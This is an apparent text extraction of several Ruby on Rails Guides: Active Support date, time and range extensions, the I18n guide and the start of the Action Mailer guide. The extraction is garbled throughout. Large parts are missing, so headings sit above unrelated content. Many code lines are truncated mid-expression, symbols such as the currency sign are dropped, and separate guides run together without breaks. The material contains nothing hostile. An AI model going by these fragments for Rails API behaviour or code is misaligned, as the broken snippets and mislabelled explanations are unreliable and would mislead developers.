As the example depicts, the :db format generates a BETWEEN SQL clause.
That is used by Active Record in its support for range values in conditions.
Defined in active_support/core_ext/range/conversions.rb.
13.2 include?
The methods Range#include? and Range#=== say whether some value
falls between the ends of a given instance:
(2..3).include?(Math::E) # => true
Defined in active_support/core_ext/range/include_range.rb.
13.3 overlaps?
The method Range#overlaps? says whether any two given ranges have
non-void intersection:
(1..10).overlaps?(7..11) # => true
(1..10).overlaps?(0..7) # => true
(1..10).overlaps?(11..27) # => false
Defined in active_support/core_ext/range/overlaps.rb.
14 Extensions to Date
14.1 Calculations
All the following methods are defined in
active_support/core_ext/date/calculations.rb.
The following calculation methods have edge cases in October 1582, since
days 5..14 just do not exist. This guide does not document their behavior
around those days for brevity, but it is enough to say that they do what you
would expect. That is, Date.new(1582, 10, 4).tomorrow returns
Date.new(1582, 10, 15) and so on. Please check
test/core_ext/date_ext_test.rb in the Active Support test suite for
expected behavior.
14.1.1 Date.current
In Ruby 1.9 prev_year and next_year return a date with the same
If date is the 29th of February of a leap year, you obtain the 28th:
d = Date.new(2000, 2, 29) # => Tue, 29 Feb 2000
d.prev_year # => Sun, 28 Feb 1999
d.next_year # => Wed, 28 Feb 2001
In Ruby 1.9 prev_month and next_month return the date with the same day
in the last or next month:
d = Date.new(2010, 5, 8) # => Sat, 08 May 2010
d.prev_month # => Thu, 08 Apr 2010
d.next_month # => Tue, 08 Jun 2010
If such a day does not exist, the last day of the corresponding month is
returned:
Date.new(2000, 5, 31).prev_month # => Sun, 30 Apr 2000
Date.new(2000, 3, 31).prev_month # => Tue, 29 Feb 2000
Date.new(2000, 5, 31).next_month # => Fri, 30 Jun 2000
Date.new(2000, 1, 31).next_month # => Tue, 29 Feb 2000
Same as prev_month and next_month. It returns the date with the same
day in the previous or next quarter:
t = Time.local(2010, 5, 8) # => Sat, 08 May 2010
t.prev_quarter # => Mon, 08 Feb 2010
t.next_quarter # => Sun, 08 Aug 2010
If such a day does not exist, the last day of the corresponding month is
returned:
Time.local(2000, 7, 31).prev_quarter # => Sun, 30 Apr 2000
Time.local(2000, 5, 31).prev_quarter # => Tue, 29 Feb 2000
Time.local(2000, 10, 31).prev_quarter # => Mon, 30 Oct 2000
Time.local(2000, 11, 31).next_quarter # => Wed, 28 Feb 2001
The methods monday and sunday return the dates for the previous Monday
and next Sunday, respectively.
d = Date.new(2010, 5, 8) # => Sat, 08 May 2010
d.monday # => Mon, 03 May 2010
d.sunday # => Sun, 09 May 2010
d = Date.new(2012, 9, 10) # => Mon, 10 Sep 2012
d.monday # => Mon, 10 Sep 2012
d = Date.new(2012, 9, 16) # => Sun, 16 Sep 2012
d.sunday # => Sun, 16 Sep 2012
14.1.2.6 prev_week, next_week
The method years_ago receives a number of years and returns the same
date those many years ago:
date = Date.new(2010, 6, 7)
date.years_ago(10) # => Wed, 07 Jun 2000
If such a day does not exist, the last day of the corresponding month is
returned:
Date.new(2012, 2, 29).years_ago(3) # => Sat, 28 Feb 2009
Date.new(2012, 2, 29).years_since(3) # => Sat, 28 Feb 2015
14.1.3.2 months_ago, months_since
If such a day does not exist, the last day of the corresponding month is
returned:
Date.new(2010, 4, 30).months_ago(2) # => Sun, 28 Feb 2010
Date.new(2009, 12, 31).months_since(2) # => Sun, 28 Feb 2010
14.1.3.3 weeks_ago
The most generic way to jump to other days is advance. This method
receives a hash with keys :years, :months, :weeks, :days, and returns a
date advanced as much as the present keys indicate:
date = Date.new(2010, 6, 6)
date.advance(years: 1, weeks: 2) # => Mon, 20 Jun 2011
date.advance(months: 2, days: -2) # => Wed, 04 Aug 2010
While if it did it the other way around the result would be different:
Date.new(2010, 2, 28).advance(days: 1).advance(months: 1)
# => Thu, 01 Apr 2010
The method change allows you to get a new date which is the same as the
receiver except for the given year, month, or day:
Date.new(2010, 12, 23).change(year: 2011, month: 11)
# => Wed, 23 Nov 2011
They translate to calls to since or advance. For example here we get the
correct jump in the calendar reform:
Date.new(1582, 10, 4) + 1.day
# => Fri, 15 Oct 1582
14.1.6 Timestamps
does not make sense to request the beginning or end of an hour or minute
on a Date instance.
14.1.6.4 ago, since
14.2 Conversions
15 Extensions to DateTime
DateTime is not aware of DST rules and so some of these methods have
on_weekend?
On the other hand, advance and change are also defined and support more
options, they are documented below.
The following methods are only implemented in
active_support/core_ext/date_time/calculations.rb as they only
make sense when used with a DateTime instance:
beginning_of_hour (at_beginning_of_hour)
end_of_hour
15.1.1 Named Datetimes
15.1.1.1 DateTime.current
The method utc gives you the same datetime in the receiver expressed in
UTC.
now = DateTime.current # => Mon, 07 Jun 2010 19:27:52 -0400
now.utc # => Mon, 07 Jun 2010 23:27:52 +0000
The predicate utc? says whether the receiver has UTC as its time zone:
now = DateTime.now # => Mon, 07 Jun 2010 19:30:47 -0400
now.utc? # => false
now.utc.utc? # => true
15.1.2.4 advance
d = DateTime.current
# => Thu, 05 Aug 2010 11:33:31 +0000
d.advance(years: 1, months: 1, days: 1, hours: 1, minutes: 1, se
# => Tue, 06 Sep 2011 12:34:32 +0000
This method first computes the destination date passing :years, :months,
:weeks, and :days to Date#advance documented above. After that, it
adjusts the time calling since with the number of seconds to advance. This
order is relevant, a different ordering would give different datetimes in
some edge-cases. The example in Date#advance applies, and we can
extend it to show order relevance related to the time bits.
If we first move the date bits (that have also a relative order of processing,
as documented before), and then the time bits we get for example the
following computation:
d = DateTime.new(2010, 2, 28, 23, 59, 59)
# => Sun, 28 Feb 2010 23:59:59 +0000
d.advance(months: 1, seconds: 1)
# => Mon, 29 Mar 2010 00:00:00 +0000
but if we computed them the other way around, the result would be
different:
d.advance(seconds: 1).advance(months: 1)
# => Thu, 01 Apr 2010 00:00:00 +0000
The method change allows you to get a new datetime which is the same as
the receiver except for the given options, which may include :year,
:month, :day, :hour, :min, :sec, :offset, :start:
now = DateTime.current
# => Tue, 08 Jun 2010 01:56:22 +0000
now.change(year: 2011, offset: Rational(-6, 24))
# => Wed, 08 Jun 2011 01:56:22 -0600
If hours are zeroed, then minutes and seconds are too (unless they have
given values):
now.change(hour: 0)
# => Tue, 08 Jun 2010 00:00:00 +0000
Similarly, if minutes are zeroed, then seconds are too (unless it has given a
value):
now.change(min: 0)
# => Tue, 08 Jun 2010 01:00:00 +0000
They translate to calls to since or advance. For example here we get the
correct jump in the calendar reform:
DateTime.new(1582, 10, 4, 23) + 1.hour
# => Fri, 15 Oct 1582 00:00:00 +0000
16 Extensions to Time
16.1 Calculations
All the following methods are defined in
active_support/core_ext/time/calculations.rb.
Active Support adds to Time many of the methods available for DateTime:
past?
today?
future?
yesterday
tomorrow
seconds_since_midnight
change
advance
ago
since (in)
beginning_of_day (midnight, at_midnight, at_beginning_of_day)
end_of_day
beginning_of_hour (at_beginning_of_hour)
end_of_hour
beginning_of_week (at_beginning_of_week)
end_of_week (at_end_of_week)
monday
sunday
weeks_ago
prev_week (last_week)
next_week
months_ago
months_since
beginning_of_month (at_beginning_of_month)
end_of_month (at_end_of_month)
prev_month (last_month)
next_month
beginning_of_quarter (at_beginning_of_quarter)
end_of_quarter (at_end_of_quarter)
beginning_of_year (at_beginning_of_year)
end_of_year (at_end_of_year)
years_ago
years_since
prev_year (last_year)
next_year
on_weekday?
on_weekend?
They are analogous. Please refer to their documentation above and take
into account the following differences:
change accepts an additional :usec option.
Time understands DST, so you get correct DST calculations as in
Time.zone_default
# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @
The method all_day returns a range representing the whole day of the
current time.
now = Time.current
# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
now.all_day
# => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Mon, 09 Aug 2010 23:5
now = Time.current
# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
now.all_week
# => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Sun, 15 Aug 2010 23:5
now.all_week(:sunday)
# => Sun, 16 Sep 2012 00:00:00 UTC +00:00..Sat, 22 Sep 2012 23:5
now.all_month
# => Sat, 01 Aug 2010 00:00:00 UTC +00:00..Tue, 31 Aug 2010 23:5
now.all_quarter
# => Thu, 01 Jul 2010 00:00:00 UTC +00:00..Thu, 30 Sep 2010 23:5
now.all_year
# => Fri, 01 Jan 2010 00:00:00 UTC +00:00..Fri, 31 Dec 2010 23:5
Time.zone_default
# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @
Time.current
# => Fri, 06 Aug 2010 17:11:58 CEST +02:00
They translate to calls to since or advance. For example here we get the
correct jump in the calendar reform:
Time.utc(1582, 10, 3) + 5.days
# => Mon Oct 18 00:00:00 UTC 1582
17 Extensions to File
17.1 atomic_write
With the class method File.atomic_write you can write to a file in a way
that will prevent any reader from seeing half-written content.
The name of the file is passed as an argument, and the method yields a file
handle opened for writing. Once the block is done atomic_write closes
the file handle and completes its job.
For example, Action Pack uses this method to write asset cache files like
all.css:
File.atomic_write(joined_asset_path) do |cache|
cache.write(join_asset_file_contents(asset_paths))
end
Defined in active_support/core_ext/file/atomic.rb.
18 Extensions to Marshal
18.1 load
Active Support adds constant autoloading support to load.
For example, the file cache store deserializes this way:
File.open(file_name) { |f| Marshal.load(f) }
If the cached data refers to a constant that is unknown at that point, the
autoloading mechanism is triggered and if it succeeds the deserialization is
retried transparently.
If the argument is an IO it needs to respond to rewind to be able to retry.
Regular files respond to rewind.
Defined in active_support/core_ext/marshal.rb.
19 Extensions to NameError
Active Support adds missing_name? to NameError, which tests whether
the exception was raised because of the name passed as argument.
The name may be given as a symbol or string. A symbol is tested against
the bare constant name, a string is against the fully-qualified constant
name.
A symbol can represent a fully-qualified constant name as in
:"ActiveRecord::Base", so the behavior for symbols is defined for
convenience, not because it has to be that way technically.
For example, when an action of ArticlesController is called Rails tries
optimistically to use ArticlesHelper. It is OK that the helper module does
not exist, so if an exception for that constant name is raised it should be
silenced. But it could be the case that articles_helper.rb raises a
NameError due to an actual unknown constant. That should be reraised.
The method missing_name? provides a way to distinguish both cases:
def default_helper_module!
module_name = name.sub(/Controller$/, '')
module_path = module_name.underscore
helper module_path
rescue LoadError => e
raise e unless e.is_missing? "helpers/#{module_path}_helper"
rescue NameError => e
raise e unless e.missing_name? "#{module_name}Helper"
end
Defined in active_support/core_ext/name_error.rb.
20 Extensions to LoadError
Active Support adds is_missing? to LoadError.
Given a path name is_missing? tests whether the exception was raised
due to that particular file (except perhaps for the ".rb" extension).
For example, when an action of ArticlesController is called Rails tries
to load articles_helper.rb, but that file may not exist. That's fine, the
helper module is not mandatory so Rails silences a load error. But it could
be the case that the helper module does exist and in turn requires another
library that is missing. In that case Rails must reraise the exception. The
method is_missing? provides a way to distinguish both cases:
def default_helper_module!
module_name = name.sub(/Controller$/, '')
module_path = module_name.underscore
helper module_path
rescue LoadError => e
raise e unless e.is_missing? "helpers/#{module_path}_helper"
rescue NameError => e
raise e unless e.missing_name? "#{module_name}Helper"
end
Defined in active_support/core_ext/load_error.rb.
These have the aliases #t and #l so you can use them like this:
I18n.t 'store.title'
I18n.l Time.now
There are also attribute readers and writers for the following attributes:
load_path # Announce your custom translation files
locale # Get and set the current locale
default_locale # Get and set the default locale
exception_handler # Use a different exception_handler
backend # Use a different backend
This means, that in the :en locale, the key hello will map to the Hello
world string. Every string inside Rails is internationalized in this way, see
for instance Active Model validation messages in the
activemodel/lib/active_model/locale/en.yml file or time and date
formats in the activesupport/lib/active_support/locale/en.yml file.
You can use YAML or standard Ruby Hashes to store translations in the
default (Simple) backend.
The I18n library will use English as a default locale, i.e. if a different
locale is not set, :en will be used for looking up translations.
The i18n library takes a pragmatic approach to locale keys (after some
discussion), including only the locale ("language") part, like :en, :pl, not
the region part, like :en-US or :en-GB, which are traditionally used for
The load path must be specified before any translations are looked up. To
change the default locale from an initializer instead of
config/application.rb:
# config/initializers/locale.rb
This example illustrates this using a URL query parameter to set the locale
(e.g. http://example.com/books?locale=pt). With this approach,
http://localhost:3000?locale=pt renders the Portuguese localization,
while http://localhost:3000?locale=de loads a German localization.
The locale can be set using one of many different approaches.
2.2.1 Setting the Locale from the Domain Name
One option you have is to set the locale from the domain name where your
application runs. For example, we want www.example.com to load the
English (or default) locale, and www.example.es to load the Spanish
locale. Thus the top-level domain name is used for locale setting. This has
several advantages:
We can also set the locale from the subdomain in a very similar way:
If your application includes a locale switching menu, you would then have
link_to("Deutsch", "#{APP_CONFIG[:deutsch_website_url]}#{request
The most usual way of setting (and passing) the locale would be to include
it in URL params, as we did in the I18n.locale = params[:locale]
before_action in the first example. We would like to have URLs like
www.example.com/books?locale=ja or www.example.com/ja/books in
this case.
This approach has almost the same set of advantages as setting the locale
from the domain name: namely that it's RESTful and in accord with the
rest of the World Wide Web. It does require a little bit more work to
implement, though.
Getting the locale from params and setting it accordingly is not hard;
including it in every URL and thus passing it through the requests is. To
include an explicit option in every URL, e.g.
link_to(books_url(locale: I18n.locale)), would be tedious and
probably impossible, of course.
Rails contains infrastructure for "centralizing dynamic decisions about the
URLs" in its ApplicationController#default_url_options, which is
useful precisely in this scenario: it enables us to set "defaults" for url_for
Every helper method dependent on url_for (e.g. helpers for named routes
like root_path or root_url, resource routes like books_path or
books_url, etc.) will now automatically include the locale in the query
string, like this: http://localhost:3001/?locale=ja.
You may be satisfied with this. It does impact the readability of URLs,
though, when the locale "hangs" at the end of every URL in your
application. Moreover, from the architectural standpoint, locale is usually
hierarchically above the other parts of the application domain: and URLs
should reflect this.
You probably want URLs to look like this:
http://www.example.com/en/books (which loads the English locale) and
http://www.example.com/nl/books (which loads the Dutch locale). This
is achievable with the "over-riding default_url_options" strategy from
above: you just have to set up your routes with scope:
# config/routes.rb
scope "/:locale" do
resources :books
end
Now, when you call the books_path method you should get "/en/books"
(for the default locale). A URL like http://localhost:3001/nl/books
should load the Dutch locale, then, and following calls to books_path
With this approach you will not get a Routing Error when accessing your
resources such as http://localhost:3001/books without a locale. This is
useful for when you want to use the default locale when one is not
specified.
Of course, you need to take special care of the root URL (usually
"homepage" or "dashboard") of your application. A URL like
http://localhost:3001/nl will not work automatically, because the
root to: "books#index" declaration in your routes.rb doesn't take
locale into account. (And rightly so: there's only one "root" URL.)
You would probably need to map URLs like these:
# config/routes.rb
get '/:locale' => 'dashboard#index'
Do take special care about the order of your routes, so this route
declaration does not "eat" other ones. (You may want to add it directly
def set_locale
I18n.locale = current_user.try(:locale) || I18n.default_locale
end
2.2.4 Choosing an Implied Locale
When an explicit locale has not been set for a request (e.g. via one of the
above methods), an application should attempt to infer the desired locale.
2.2.4.1 Inferring Locale from the Language Header
def set_locale
logger.debug "* Accept-Language: #{request.env['HTTP_ACCEPT_LA
I18n.locale = extract_locale_from_accept_language_header
logger.debug "* Locale set to '#{I18n.locale}'"
end
private
def extract_locale_from_accept_language_header
request.env['HTTP_ACCEPT_LANGUAGE'].scan(/^[a-z]{2}/).first
end
The IP address of the client making the request can be used to infer the
client's region and thus their locale. Services such as GeoIP Lite Country
or gems like geocoder can be used to implement this approach.
In general, this approach is far less reliable than using the language header
and is not recommended for most web applications.
2.2.5 Storing the Locale from the Session or Cookies
Now, when this view is rendered, it will show an error message which tells
you that the translations for the keys :hello_world and :hello_flash are
missing.
Rails adds a t (translate) helper method to your views so that you do not
need to spell out I18n.t all the time. Additionally this helper will catch
missing translations and wrap the resulting error message into a <span
class="translation_missing">.
3.2 Providing Translations for Internationalized Strings
Add the missing translations into the translation dictionary files:
# config/locales/en.yml
en:
hello_world: Hello world!
hello_flash: Hello flash!
# config/locales/pirate.yml
pirate:
hello_world: Ahoy World
hello_flash: Ahoy Flash
You need to restart the server when you add new locale files.
You may use YAML (.yml) or plain Ruby (.rb) files for storing your
translations in SimpleStore. YAML is the preferred option among Rails
developers. However, it has one big disadvantage. YAML is very sensitive
to whitespace and special characters, so the application may not load your
dictionary properly. Ruby files will crash your application on first request,
so you may easily find what's wrong. (If you encounter any "weird issues"
with YAML dictionaries, try putting the relevant portion of your
dictionary into a Ruby file.)
If the product's price is 10 then the proper translation for Spanish is "10 "
instead of "10" but the abstraction cannot give it.
To create proper abstraction, the I18n gem ships with a feature called
variable interpolation that allows you to use variables in translation
definitions and pass the values for these variables to the translation
method.
Proper abstraction is shown in the following example:
# app/views/products/show.html.erb
<%= t('product_price', price: @product.price) %>
# config/locales/en.yml
en:
product_price: "$%{price}"
# config/locales/es.yml
es:
product_price: "%{price} "
And in our pirate translations file let's add a time format (it's already there
in Rails' defaults for English):
# config/locales/pirate.yml
pirate:
time:
formats:
short: "arrrround %H'ish"
Right now you might need to add some more date/time formats in order to
make the I18n backend work as expected (at least for the 'pirate' locale).
Of course, there's a great chance that somebody already did all the work by
translating Rails' defaults for your locale. See the rails-i18n repository
at GitHub for an archive of various locale files. When you put such file(s)
in config/locales/ directory, they will automatically be ready for use.
3.5 Inflection Rules For Other Locales
Rails allows you to define inflection rules (such as rules for singularization
and pluralization) for locales other than English. In
config/initializers/inflections.rb, you can define these rules for
multiple locales. The initializer contains a default example for specifying
additional rules for English; follow that format for other locales as you see
fit.
3.6 Localized Views
|---users
|-----es.rb
|-----en.rb
|---navigation
|-----es.rb
|-----en.rb
This way, you can separate model and model attribute names from text
inside views, and all of this from the "defaults" (e.g. date and time
formats). Other stores for the i18n library could provide different means of
such separation.
The default locale loading mechanism in Rails does not load locale files in
nested dictionaries, like we have here. So, for this to work, we must
explicitly tell Rails to look further:
# config/application.rb
config.i18n.load_path += Dir[Rails.root.join('config', 'locale
The translate method also takes a :scope option which can contain one
or more additional keys that will be used to specify a "namespace" or
scope for a translation key:
I18n.t 'activerecord.errors.messages.record_invalid'
I18n.t 'errors.messages.record_invalid', scope: :activerecord
I18n.t :record_invalid, scope: 'activerecord.errors.messages'
I18n.t :record_invalid, scope: [:activerecord, :errors, :message
4.1.2 Defaults
I18n.t 'activerecord.errors.messages'
# => {:inclusion=>"is not included in the list", :exclusion=> ..
4.1.4 "Lazy" Lookup
en:
books:
create:
success: Book created!
4.2 Pluralization
In English there are only one singular and one plural form for a given
string, e.g. "1 message" and "2 messages". Other languages (Arabic,
Japanese, Russian and many more) have different grammars that have
additional or fewer plural forms. Thus, the I18n API provides a flexible
pluralization feature.
The :count interpolation variable has a special role in that it both is
interpolated to the translation and used to pick a pluralization from the
translations according to the pluralization rules defined by CLDR:
I18n.backend.store_translations :en, inbox: {
one: 'one message',
other: '%{count} messages'
}
I18n.translate :inbox, count: 2
# => '2 messages'
I18n.translate :inbox, count: 1
# => 'one message'
Keys with a '_html' suffix and keys named 'html' are marked as HTML
safe. When you use them in views the HTML will not be escaped.
# config/locales/en.yml
en:
welcome: <b>welcome!</b>
hello_html: <b>hello!</b>
title:
html: <b>title!</b>
# app/views/home/index.html.erb
<div><%= t('welcome') %></div>
<div><%= raw t('welcome') %></div>
<div><%= t('hello_html') %></div>
<div><%= t('title.html') %></div>
other: Dudes
The key for the error message in this case is :blank. Active Record will
look up this key in the namespaces:
activerecord.errors.models.[model_name].attributes.[attribute_na
activerecord.errors.models.[model_name]
activerecord.errors.messages
errors.attributes.[attribute_name]
errors.messages
Thus, in our example it will try the following keys in this order and return
the first result:
activerecord.errors.models.user.attributes.name.blank
activerecord.errors.models.user.blank
activerecord.errors.messages.blank
errors.attributes.name.blank
errors.messages.blank
When your models are additionally using inheritance then the messages
are looked up in the inheritance chain.
For example, you might have an Admin model inheriting from User:
class Admin < User
validates :name, presence: true
end
activerecord.errors.models.user.blank
activerecord.errors.messages.blank
errors.attributes.name.blank
errors.messages.blank
This way you can provide special translations for various error messages at
different points in your models inheritance chain and in the attributes,
models, or default scopes.
4.5.2 Error Message Interpolation
The translated model name, translated attribute name, and value are always
available for interpolation.
So, for example, instead of the default error message "cannot be blank"
you could use the attribute name like this : "Please fill in your %
{attribute}".
count, where available, can be used for pluralization if present:
validation
with option
confirmation acceptance presence
absence
length
:within, :in
length
:within, :in
length
:is
length
:minimum
length
:maximum
uniqueness format
-
message
:confirmation
:accepted
:blank
:present
:too_short
:too_long
:wrong_length
:too_short
:too_long
:taken
:invalid
interpol
attribute
count
count
count
count
count
-
inclusion
exclusion
associated
numericality
numericality
numericality
numericality
numericality
numericality
numericality
numericality
numericality
numericality
:inclusion
:exclusion
:invalid
:not_a_number
:greater_than
:greater_than
count
:greater_than_or_equal_to :greater_than_or_equal_to count
:equal_to
:equal_to
count
:less_than
:less_than
count
:less_than_or_equal_to :less_than_or_equal_to count
:other_than
:other_than
count
:only_integer
:not_an_integer
:odd
:odd
:even
:even
-
If you are using the Active Record error_messages_for helper, you will
want to add translations for it.
Rails ships with the following translations:
en:
activerecord:
errors:
template:
header:
one: "1 error prohibited this %{model} from being sa
other: "%{count} errors prohibited this %{model} from
body: "There were problems with the following fields:
# user_mailer.rb
class UserMailer < ActionMailer::Base
def welcome(user)
mail(to: user.email, subject: default_i18n_subject(user: use
end
end
en:
user_mailer:
welcome:
subject: "%{user}, welcome to Rails Guides!"
scope.
As you see, in both cases the top level key is the locale. :foo is a
namespace key and :bar is the key for the translation "baz".
Here is a "real" example from the Active Support en.yml translations
YAML file:
en:
date:
formats:
default: "%Y-%m-%d"
short: "%b %d"
long: "%B %d, %Y"
So, all of the following equivalent lookups will return the :short date
You can also use the Chain backend to chain multiple backends together.
This is useful when you want to use standard translations with a Simple
backend but store custom application translations in a database or other
backends. For example, you could use the Active Record backend and fall
back to the (default) Simple backend:
I18n.backend = I18n::Backend::Chain.new(I18n::Backend::ActiveRec
The I18n API will catch all of these exceptions when they are thrown in
the backend and pass them to the default_exception_handler method. This
method will re-raise all exceptions except for MissingTranslationData
exceptions. When a MissingTranslationData exception has been caught,
it will return the exception's error message string containing the missing
key/scope.
The reason for this is that during development you'd usually want your
views to still render even though a translation is missing.
In other contexts you might want to change this behavior, though. E.g. the
default exception handling does not allow to catch missing translations
during automated tests easily. For this purpose a different exception
handler can be specified. The specified exception handler must be a
method on the I18n module or a class with #call method:
module I18n
class JustRaiseExceptionHandler < ExceptionHandler
def call(exception, locale, key, options)
if exception.is_a?(MissingTranslationData)
raise exception.to_exception
else
super
end
end
end
end
I18n.exception_handler = I18n::JustRaiseExceptionHandler.new
Another example where the default behavior is less desirable is the Rails
TranslationHelper which provides the method #t (as well as #translate).
When a MissingTranslationData exception occurs in this context, the
helper wraps the message into a span with the CSS class
translation_missing.
To do so, the helper forces I18n#translate to raise exceptions no matter
what exception handler is defined by setting the :raise option:
7 Conclusion
At this point you should have a good overview about how I18n support in
Ruby on Rails works and are ready to start translating your project.
If you want to discuss certain portions or have questions, please sign up to
the rails-i18n mailing list.
9 Resources
Google group: rails-i18n - The project's mailing list.
GitHub: rails-i18n - Code repository and issue tracker for the railsi18n project. Most importantly you can find lots of example
translations for Rails that should work for your application in most
cases.
GitHub: i18n - Code repository and issue tracker for the i18n gem.
10 Authors
Sven Fuchs (initial author)
Karel Minak
11 Footnotes
1 Or, to quote Wikipedia: "Internationalization is the process of designing
for applications that do not need any I18n capabilities, so we need to keep
the I18n library as simple as possible for English. Another reason is that it
is virtually impossible to implement a one-fits-all solution for all problems
related to I18n for all existing languages. So a solution that allows us to
exchange the entire implementation easily is appropriate anyway. This also
makes it much easier to experiment with custom features and extensions.
1 Introduction
Action Mailer allows you to send emails from your application using
mailer classes and views. Mailers work very similarly to controllers. They
inherit from ActionMailer::Base and live in app/mailers, and they have
associated views that appear in app/views.
2 Sending Emails
This section will provide a step-by-step guide to creating a mailer and its
views.
2.1 Walkthrough to Generating a Mailer
2.1.1 Create the Mailer
As you can see, you can generate mailers just like you use other generators
with Rails. Mailers are conceptually similar to controllers, and so we get a
mailer, a directory for views, and a test.
If you didn't want to use a generator, you could create your own file inside
of app/mailers, just make sure that it inherits from ActionMailer::Base:
Mailers are very similar to Rails controllers. They also have methods
called "actions" and use views to structure the content. Where a controller
generates content like HTML to send back to the client, a Mailer creates a
message to be delivered via email.
app/mailers/user_mailer.rb contains an empty mailer:
class UserMailer < ApplicationMailer
end
Let's add a method called welcome_email, that will send an email to the
user's registered email address:
class UserMailer < ApplicationMailer
default from: '[email protected]'
def welcome_email(user)
@user = user
@url = 'http://example.com/login'
mail(to: @user.email, subject: 'Welcome to My Awesome Site')
end
end
value for all messages in this class. This can be overridden on a peremail basis.
mail - The actual email message, we are passing the :to and
:subject headers in.
Just like controllers, any instance variables we define in the method
become available for use in the views.
2.1.3 Create a Mailer View
<!DOCTYPE html>
<html>
<head>
<meta content='text/html; charset=UTF-8' http-equiv='Content
</head>
<body>
<h1>Welcome to example.com, <%= @user.name %></h1>
<p>
You have successfully signed up to example.com,
your username is: <%= @user.login %>.<br>
</p>
<p>
To login to the site, just follow this link: <%= @url %>.
</p>
<p>Thanks for joining and have a great day!</p>
</body>
</html>
Let's also make a text part for this email. Not all clients prefer HTML
emails, and so sending both is best practice. To do this, create a file called
welcome_email.text.erb in app/views/user_mailer/:
Welcome to example.com, <%= @user.name %>
===============================================
When you call the mail method now, Action Mailer will detect the two
templates (text and HTML) and automatically generate a
multipart/alternative email.
2.1.4 Calling the Mailer
Mailers are really just another way to render a view. Instead of rendering a
view and sending out the HTTP protocol, they are just sending it out
through the email protocols instead. Due to this, it makes sense to just
have your controller tell the Mailer to send an email when a user is
successfully created.
Setting this up is painfully simple.
First, let's create a simple User scaffold:
$ bin/rails generate scaffold user name email login
$ bin/rails db:migrate
Now that we have a user model to play with, we will just edit the
app/controllers/users_controller.rb make it instruct the UserMailer
to deliver an email to the newly created user by editing the create action
and inserting a call to UserMailer.welcome_email right after the user is
successfully saved.
Action Mailer is nicely integrated with Active Job so you can send emails
outside of the request-response cycle, so the user doesn't have to wait on it:
respond_to do |format|
if @user.save
# Tell the UserMailer to send a welcome email after save
UserMailer.welcome_email(@user).deliver_later
Active Job's default behavior is to execute jobs via the :async adapter. So,
you can use deliver_later now to send emails asynchronously. Active
Job's default adapter runs jobs with an in-process thread pool. It's wellsuited for the development/test environments, since it doesn't require any
external infrastructure, but it's a poor fit for production since it drops
pending jobs on restart. If you need a persistent backend, you will need to
use an Active Job adapter that has a persistent backend (Sidekiq, Resque,
etc).
If you want to send emails right away (from a cronjob for example) just
call deliver_now:
class SendWeeklySummary
def run
User.find_each do |user|
UserMailer.weekly_summary(user).deliver_now
end
end
end
a hash of header field names and value pairs, or you can call
headers[:field_name] = 'value'.
attachments - Allows you to add attachments to your email. For
example, attachments['file-name.jpg'] = File.read('filename.jpg').
mail - Sends the actual email itself. You can pass in headers as a hash
to the mail method as a parameter, mail will then create an email,
either plain text, or multipart, depending on what email templates you
have defined.
2.3.1 Adding Attachments
attachments['filename.jpg'] = File.read('/path/to/filename.j
When the mail method will be triggered, it will send a multipart email
with an attachment, properly nested with the top level being
multipart/mixed and the first part being a multipart/alternative
containing the plain text and HTML email messages.
Mail will automatically Base64 encode an attachment. If you want
something different, encode your content and pass in the encoded content
and encoding in a Hash to the attachments method.
Pass the file name and specify headers and content and Action Mailer
and Mail will use the settings you pass in.
encoded_content = SpecialEncode(File.read('/path/to/filename
attachments['filename.jpg'] = {
mime_type: 'application/gzip',
encoding: 'SpecialEncoding',
content: encoded_content
}
If you specify an encoding, Mail will assume that your content is already
encoded and not try to Base64 encode it.
2.3.2 Making Inline Attachments
def welcome
attachments.inline['image.jpg'] = File.read('/path/to/imag
end
Then in your view, you can just reference attachments as a hash and
specify which attachment you want to show, calling url on it and
then passing the result into the image_tag method:
<p>Hello there, this is our image</p>
<%= image_tag attachments['image.jpg'].url %>
end
The same format can be used to set carbon copy (Cc:) and blind carbon
copy (Bcc:) recipients, by using the :cc and :bcc keys respectively.
2.3.4 Sending Email With Name
Sometimes you wish to show the name of the person instead of just their
email address when they receive the email. The trick to doing that is to
format the email address in the format "Full Name" <email>.
def welcome_email(user)
@user = user
email_with_name = %("#{@user.name}" <#{@user.email}>)
mail(to: email_with_name, subject: 'Welcome to My Awesome Site
end
template_path: 'notifications',
template_name: 'another')
end
end
You can do cache in mailer views like in application views using cache
method.
<% cache do %>
And in order to use this feature, you need to configure your application
with this:
config.action_mailer.perform_caching = true
Just like with controller views, use yield to render the view inside the
layout.
You can also pass in a layout: 'layout_name' option to the render call
inside the format block to specify different layouts for different formats:
class UserMailer < ApplicationMailer
def welcome_email(user)
mail(to: user.email) do |format|
format.html { render layout: 'my_layout' }
format.text
end
end
end
Will render the HTML part using the my_layout.html.erb file and the
text part with the usual user_mailer.text.erb file if it exists.
2.6 Previewing Emails
Action Mailer previews provide a way to see how emails look by visiting a
special URL that renders them. In the above example, the preview class for
UserMailer should be named UserMailerPreview and located in
test/mailers/previews/user_mailer_preview.rb. To see the preview
of welcome_email, implement a method that has the same name and call
UserMailer.welcome_email:
class UserMailerPreview < ActionMailer::Preview
def welcome_email
UserMailer.welcome_email(User.first)
end
end
it'll automatically reload and render it so you can visually see the new style
instantly. A list of previews are also available in
http://localhost:3000/rails/mailers.
By default, these preview classes live in test/mailers/previews. This
can be configured using the preview_path option. For example, if you
want to change it to lib/mailer_previews, you can configure it in
config/application.rb:
config.action_mailer.preview_path = "#{Rails.root}/lib/mailer_pr
Because of this behavior you cannot use any of the *_path helpers inside
of an email. Instead you will need to use the associated *_url helper. For
example instead of using
<%= link_to 'welcome', welcome_path %>
By using the full URL, your links will now work in your emails.
2.7.1 Generating URLs with url_for
If you did not configure the :host option globally make sure to pass it to
url_for.
<%= url_for(host: 'example.com',
controller: 'welcome',
